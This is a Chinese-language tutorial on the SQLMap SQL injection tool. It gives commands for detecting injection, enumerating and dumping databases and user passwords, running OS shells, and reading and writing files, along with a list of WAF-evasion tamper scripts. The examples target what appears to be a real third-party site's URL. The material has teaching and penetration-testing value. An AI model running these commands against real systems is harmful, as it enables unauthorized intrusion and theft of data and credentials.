**
SQLMap简介
SQLMap是一个自动化SQL注入工具,主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有MySql,Oracle,PostgreSQL,Microsoft
SQL Server,Microsoft Access,IBM DB2,SQLList,Firebird,Sybase,SAP
MaxDB,SQLMap的强大功能包括数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全的操作权限时实行任意命令
**
SQLMap采用了以下5种独特的SQL注入技术
- 1.基于布尔类型的盲注,即可以根据返回判断条件的真假注入
- 2.基于时间的盲注,即不能根据页面返回的内容判断热呢信息,要用条件语句查看时间时间延迟语句是否已执行(页面返回时间是否增加)来判断
- 3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 4.联合查询注入,可以使用union的情况下的注入
- 5.堆查询注入,可以同时执行多条语句的执行时的注入
SQLMap入门
-
1.判断是否存在注入
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147”
注:当注入点后边的参数,大于等于两个时,需要加双引号(习惯性的还是随时都加比较好) -
2.判断文本文件是否存在注入
sqlmap –r DiskTop/1.txt
注:一般在cookie注入时使用,txt文件内容一般为Web数据包 -
3.查询当前用户下所有数据库
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --dbs
注:继续注入时,–dbs缩写成-D -
4.获取数据库中表明
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() --tables
注:database()指具体数据库,–tables在继续注入时指定为-T -
5.获取表中字段名
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() –T table() --columns
注:database()代表数据库名,table()代表表名,后续注入中,–columns缩写成-C -
6.获取字段内容
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” -D database() –T table() -C id --dump
注:database()代表数据库名,table()代表表名,id代表字段名, -
7.获取数据库所有用户
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --users -
8.获取数据库用户的密码
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --password -
9.获取当前网站数据库名
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --current-db -
10.获取当前数据库用户名
sqlmap –u “http://www.yongkun-drive.com/ViewNews.asp?ID=147” --current-user
SQLMap进阶:参数讲解
-
1.–level 5 探测等级
–level 一共有5个等级(1-5),可以不加level,默认是1,SQLMap是用的Payload可以再xml/payload.xml中看到,也可以根据相应的格式添加自己的Payload,这个参数会影响注入点,GET和POST数据都会进行测试,
http cookie 在 2 时测试
HTTP User-Agent/Referer头在 3 时测试 -
2.–is-dba 当前用户是否为管理权限
-
3.–roles 列出数据库管理员角色
注:可以-U指定想看那个用户的角色,此命令仅适用于Oracle -
4.–referer HTTP Referer头
在请求中伪造HTTP的referer,当level参数设定为3或以上时,会尝试对referer注入 -
5.–sql-shell 运行自定义的SQL语句
-
6.–os-scd,–os-shell 运行任意操作系统命令
-
7.–file-read 从数据库服务器中读取文件
注:数据库为MySQL,PostgreSQL,SQL Server,并且当前用户有权使用特定函数时(文本或二进制文件) -
8.–file-write,–file-dest 上传文件到数据库服务器中
注: 数据库为MySQL,PostgreSQL,SQL Server,并且当前用户有权使用特定函数时(文本或二进制文件)
SQLMap自带绕过脚本tamper讲解
-
1.脚本结构
Priority定义变量,dependencies,tamper定义函数 -
2.–identify-waf 探测网站是否存在WAF/IDS/IPS
-
3.常用tamper脚本
a)apostrophemask.py 将单引号替换为UTF-8,用于过滤单引号
b)base64encode.py 替换为base64编码
c)multiplespaces.py 围绕SQL关键字添加多个空格
d)space2plus.py 用+替换空格
e)nonrecursivereplacement.py 双重查询语句,用双重查询语句替代预定义的SQL关键字,(适用于非常弱的自定义过滤器,如将SELECT替换为空)
f)space2randomblack.py 将空格替换为其他有效字符
g)unionalltounion.py 将union all select替换为union select
h)securesphere.py 追加特制字符串
i)space2hash.py 将空格替换为#,并添加一个随机的字符串和换行符
j)space2mssqlblack.py(mssql) 将空格替换为其他空符号
k)space2mssqlhash 将空格替换为#,并添加一个换行符
l)between.py 用not between 0 and 替换 >,用between and 替换 =
m)percentage.py ASP允许在每个字符前加一个%
n)sp_password.py 从DBMS日志的自动模糊处理的有效载荷中追加sp_password
o)charencode.py 对给定的payload全部字符使用URL编码
p)charunicodeencode.py 字符串unicode编码
q)space2comment.py 将空格替换为/**/
r)equaltolike.py 将等号替换为like
s)greatest.py 绕过对 > 的过滤,用greatest替换>(MySQL 4 MySQL 5 MySQL 5.5 Oracle 10g PostgreSQL 8.3 PostgreSQL 8.4 PostgreSQL 9.0 )
t)ifnull2ifisnull.py 绕过对ifnull的过滤,替换类似ifnull(a,b)为if(isnull(a),b,a)
MySQL5.0 MySQL5.5
u)modsecurityversioned.py 过滤空格,使用MySQL内联注释方式注入(MySQL 5.0)
v)space2mysqlblack.py 将空格替换为其他空白符号(MySQL 5.1)
w)modsecurityzeroversioned.py 使用MySQL内联注释/*!00000*/进行注释(MySQL 5.0)
x)space2mysqldash.py 将空格替换为”--”并添加一个换行
y)bluecoat.py 在SQL语句之后用有效的随机空白符替换空格,随后用like替换等于
z)versionedkeywords.py 注释绕过
aa)halfversionedmorekeyword.py 数据库为MySQL时,绕过防火墙,在每个关键字之前添加MySQL版本注释
ab)space2morehash.py 将空格替换为#,并添加一个随机字符串和换行符
ac)apostrophenullencode.py 用非法双字节unicode字符替换单引号
ad)appendnullbyte.py 在有效载荷的结束为止加载领字节字符编码
ae)chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理以编码内容)
af)unmagicquotes.py 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
ag)randomcomments.py 用/**/分割SQL关键字